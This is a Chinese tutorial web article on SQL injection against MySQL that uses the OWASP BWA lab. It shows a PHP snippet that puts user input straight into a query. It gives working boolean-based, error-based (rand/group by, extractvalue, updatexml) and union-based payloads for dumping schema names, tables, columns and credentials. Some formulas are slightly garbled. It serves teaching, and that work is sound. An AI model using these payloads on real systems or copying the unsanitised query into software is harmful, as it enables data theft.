返回顶部
首页 > 资讯 > 数据库 >SQL注入的示例分析
  • 591
分享到

SQL注入的示例分析

2024-04-02 19:04:59 591人浏览 独家记忆
摘要

这篇文章主要为大家展示了“sql注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL注入的示例分析”这篇文章吧。SQL注入攻击的总体思路 

这篇文章主要为大家展示了“sql注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL注入的示例分析”这篇文章吧。

SQL注入攻击的总体思路

     1.寻找到SQL注入的位置

     2.判断服务器类型和后台数据库类型

     3.针对不通的服务器和数据库特点进行SQL注入攻击

关于 SQL Injection(SQL注入)

SQL Injection 就是通过把恶意的 SQL 命令插入到 WEB 表单让服务器执行,最终达到欺骗服务器或数据库执行恶意的 SQL 命令。

学习 SQL 注入,首先要搭一个靶机环境,我使用的是OWASP BWA,感兴趣的可以去官网下载一个安装,除了 SQL 注入,很多靶机环境都可以在 BWA 中找到,它专门为 OWASP ZAP 渗透工具设计的。

$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = Mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);

这是一个很简单的 PHP代码,从前台获得 id 的值,交给数据库来执行,把结果返回给前台。

比如我们在 OWASP 里输入 id = 1,点击 Submit,返回结果如下:

SQL注入的示例分析

稍微懂一点后台或者数据库的人都知道,上面的那段代码是有严重问题的,没有对 id 的值进行有效性、合法性判断。也就是说,我们在 submit 输入框输入的如何内容都会被提交给数据库执行,比如在输入框输入1' or '1'='1,执行就会变成:

//原先要在数据库中执行的命令
SELECT first_name, last_name FROM users WHERE user_id = '1'
//变成
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

注意一下单引号,这是 SQL 注入中非常重要的一个地方,所以注入代码的最后要补充一个 '1'='1让单引号闭合。

由于 or 的执行,会把数据库表 users 中的所有内容显示出来,

SQL注入的示例分析

下面对三种主要的注入类型进行介绍。

Boolean-based 原理分析

首先不得不讲SQL中的AND和OR

AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。

AND:返回第一个条件和第二个条件都成立的记录。

OR:返回满足第一个条件或第二个条件的记录。

AND和OR即为集合论中的交集和并集。

下面是一个数据库的查询内容。

mysql> select * from students;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

1)

mysql> select * from students where TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

2)

mysql> select * from students where FALSE ;
Empty set (0.00 sec)

3)

mysql> SELECT * from students where id = 10056 and TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

4)

mysql> select * from students where id = 10056 and FALSE ;
Empty set (0.00 sec)

5)

mysql> selcet * from students where id = 10056 or TRUE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
| 10058 | Jaune | 22 |
| 10060 | Alisa | 29 |
+-------+-------+-----+
3 rows in set (0.00 sec)

6)

mysql> select * from students where id = 10056 or FALSE ;
+-------+-------+-----+
| id | name | age |
+-------+-------+-----+
| 10056 | Doris | 20 |
+-------+-------+-----+
1 row in set (0.00 sec)

会发现and 1=1 , and 1=2 即是 and TRUE , and FALSE 的变种。

这便是最基础的boolean注入,以此为基础你可以自由组合语句。

字典爆破流

and exists(select * from ?) //?为猜测的表名
and exists(select ? from x) //?为猜测的列名

截取二分流

and (length((select schema_name from infORMation_schema.schemata limit 1))>?) //判断数据库名的长度
and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')
and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?') //利用二分法判断第一个字符

Boolean-based总结

根据前面的介绍,我们知道,对于基于Boolean-based的注入,必须要有一个可以正常访问的地址,比如Http: //redtiger.labs.overthewire.org/level4.php?id=1 是一个可以正常访问的记录,说明id=1的记录是存在的,下面的都是基于这个进一步猜测。先来判断一个关键字keyWord的长度,在后面构造id=1 and (select length(keyword) from table)=1,从服务器我们会得到一个返回值,如果和先前的返回值不一样,说明and后面的(select length(keyword) from table)=1返回false,keyword的长度不等于1。继续构造直到id=1 and (select length(keyword) from table)=15返回true,说明keyword的长度为15。

为什么我们刚开始一定要找一个已经存在的id,其实这主要是为了构造一个为真的情况。Boolean-based就是利用查询结果为真和为假时的不同响应,通过不断猜测来找到自己想要的东西。

对于keyword的值,mysql数据库可以使用substr(string, start, length)函数,截取string从第start位开始的length个字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此类推,就可以获得keyword的在数据库中的值。

Boolean-based的效率很低,需要多个请求才能确定一个值,尽管这种代价可以通过脚本来完成,在有选择的情况下,我们会优先选择其他方式。

Error Based 原理分析

关于错误回显

基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上。

所用到的函数

count() 统计元祖的个数(相当于求和)

select count(*) from information_schema.tables; 

rand()用于产生一个0~1的随机数 

floor()向下取整 

group by 依据我们想要的规矩对结果进行分组 

concat将符合条件的同一列中的不同行数据拼接,以逗号隔开

用于错误回显的sql语句

第一种: 基于 rand() group by 的错误

利用group by part of rand() returns duplicate key error这个bug,关于rand()函数与group by 在mysql中的错误报告如下:

RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

这个bug会爆出duplicate key这个错误,然后顺便就把数据偷到了。

公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and ‘1' = ‘1

第二种: XPATH爆信息

这里主要用到的是ExtractValue()UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后使用

查看sql手册

语法:EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程

作用:从目标XML中返回包含所查询值的字符串

语法:UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值

现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用

公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and ‘1'='1

公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and ‘1'='1

基于错误回显的注入,总结起来就一句话,通过sql语句的矛盾性来使数据被回显到页面上,但有时候局限于回显只能回显一条,导致基于错误的注入偷数据的效率并没有那么高,但相对于布尔注入已经提高了一个档次。

union query injection

要了解uNIOn query injection,首先得了解union查询,union用于合并两个或更多个select的结果集。比如说

SELECT username, password FROM account;

结果是

admin 123456

SELECT id, title FROM article

的结果是

1 Hello, World

SELECT username, password FROM account
UNION 
SELECT id, title FROM article

的结果就是

admin 123456

1 Hello, World

比起多重嵌套的boolean注入,union注入相对轻松。因为,union注入可以直接返回信息而不是布尔值。前面的介绍看出把union会把结果拼拼到一起,所有要让union前面的查询返回一个空值,一般采用类似于id=-1的方式。

1)

mysql> select name from students where id = -1 union select schema_name from information_schema.schemata; //数据库名 
+--------------------+
| name  |
+--------------------+
| information_schema |
| mysql  |
| performance_schema |
| rumRaisin  |
| t3st  |
| test  |
+--------------------+
6 rows in set (0.00 sec)

2)

mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st'; //表名
+----------+
| name |
+----------+
| master |
| students |
+----------+
2 rows in set (0.00 sec)

3)

mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ; //列名
+------+
| name |
+------+
| id |
| name |
| age |
+------+
3 rows in set (0.00 sec)

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

举个例子,还以最开始的 OWASP 为基础,返回了两个值分别是 first_name 和 sur_name,可想而知,服务器在返回数据库的查询结果时,就会把结果中的第一个值和第二个值传给 first_name 和 sur_name,多了或少了,都会引起报错。

所以你如果想要使用union查询来进行注入,你首先要猜测后端查询语句中查询了多少列,哪些列可以回显给用户。

猜测列数

-1 union select 1
-1 union select 1,2
-1 union select 1,2,3
//直到页面正常显示

比如这条语句

-1 UNION SELECT 1,2,3,4

如果显示的值为3和4,表示该查询结果中有四列,并且第三列和第四列是有用的。则相应的构造union语句如下

-1 UNION SELECT 1,2,username,password FROM table

以上是“SQL注入的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注编程网数据库频道!

您可能感兴趣的文档:

--结束END--

本文标题: SQL注入的示例分析

本文链接: https://lsjlt.com/news/57599.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • SQL注入的示例分析
    这篇文章主要为大家展示了“SQL注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL注入的示例分析”这篇文章吧。SQL注入攻击的总体思路 ...
    99+
    2024-04-02
  • sql注入之手工注入的示例分析
    这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
    99+
    2024-04-02
  • SQL注入绕过的示例分析
    这篇文章主要介绍了SQL注入绕过的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。前言sql注入在很早很早以前是很常见的一个漏洞。后来...
    99+
    2024-04-02
  • SQL报错注入的示例分析
    小编给大家分享一下SQL报错注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL报错注入概述通过构造特定的SQL语句,让攻击者想要查询的信息(如数据...
    99+
    2023-06-29
  • SQL注入漏洞过程的示例分析
    这篇文章将为大家详细讲解有关SQL注入漏洞过程的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。代码示例:public class JDBCDe...
    99+
    2024-04-02
  • 数据库中sql注入的示例分析
    这篇文章将为大家详细讲解有关数据库中sql注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。首先可能大家都会问什么是sqlSql是数据库的一种类型,是用来存储网...
    99+
    2024-04-02
  • 数据库之SQL注入的示例分析
    小编给大家分享一下数据库之SQL注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!1、产生SQL注入原因开发代码的时候没有全面考虑到网络安全性,特别是在...
    99+
    2023-06-20
  • SQL Server中WAITFOR DELAY注入的示例分析
    这篇文章主要为大家展示了“SQL Server中WAITFOR DELAY注入的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“SQL Server中WAITFOR DELAY注入的示例分...
    99+
    2023-06-04
  • sql注入之类型以及提交注入的示例分析
    这篇文章主要介绍sql注入之类型以及提交注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!参数类型这里说的参数是源码中存在注入的地方。其中参数类型有:数字、字符、搜索、json等。其中sql语句干扰符号有:...
    99+
    2023-06-20
  • pymysql解决sql注入问题的示例分析
    这篇文章将为大家详细讲解有关pymysql解决sql注入问题的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。1. SQL 注入SQL 注入是非常常见的一种网络攻击...
    99+
    2024-04-02
  • Mybatis的SQL注入实例分析
    本文小编为大家详细介绍“Mybatis的SQL注入实例分析”,内容详细,步骤清晰,细节处理妥当,希望这篇“Mybatis的SQL注入实例分析”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。前言MyBatis3提供了...
    99+
    2023-06-29
  • 常用的攻击手段SQL注入的示例分析
    这篇文章主要介绍常用的攻击手段SQL注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!一、概述1. 攻击原理SQL注入是较常见的网络攻击方式之一,主要针对WEB应用,利用程序员编写代码的疏忽,对于连接数据库...
    99+
    2023-06-27
  • Angular4依赖注入的示例分析
    这篇文章给大家分享的是有关Angular4依赖注入的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。基础知识Angular CLI 基本使用1、安装 Angular CLI...
    99+
    2024-04-02
  • Spring依赖注入的示例分析
    这篇文章给大家分享的是有关Spring依赖注入的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。一.依赖简介一个典型的企业应用程序不是由一个单一的对象组成(或Spring的说法中的bean)。即使是最简单的...
    99+
    2023-06-03
  • Vue中依赖注入的示例分析
    这篇文章主要介绍了Vue中依赖注入的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。简单粗暴型:<el-select ...
    99+
    2024-04-02
  • Angular中依赖注入的示例分析
    这篇文章主要介绍Angular中依赖注入的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!依赖注入:设计模式依赖:程序里需要的某种类型的对象。依赖注入框架:工程化的框架注入器Injector:用它的API创建依...
    99+
    2023-06-06
  • Mysql中Sql语句注释的示例分析
    这篇文章主要介绍了Mysql中Sql语句注释的示例分析,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。MySQL的SQL语句里面是可以加注释的...
    99+
    2024-04-02
  • Spark-Sql的示例分析
    这篇文章主要介绍Spark-Sql的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!SparkSQL运行架构Spark SQL对SQL语句的处理,首先会将SQL语句进行解析(Parse),然后形成一个Tree,...
    99+
    2023-06-21
  • MapperScannerConfigurer之sqlSessionFactory注入方式的示例分析
    这篇文章主要介绍MapperScannerConfigurer之sqlSessionFactory注入方式的示例分析,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!MapperScan...
    99+
    2024-04-02
  • springBoot自动注入原理的示例分析
    这篇文章给大家分享的是有关springBoot自动注入原理的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。@SpringBootApplication注解解读为什么我们的启动类上标注一个@SpringBo...
    99+
    2023-06-29
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作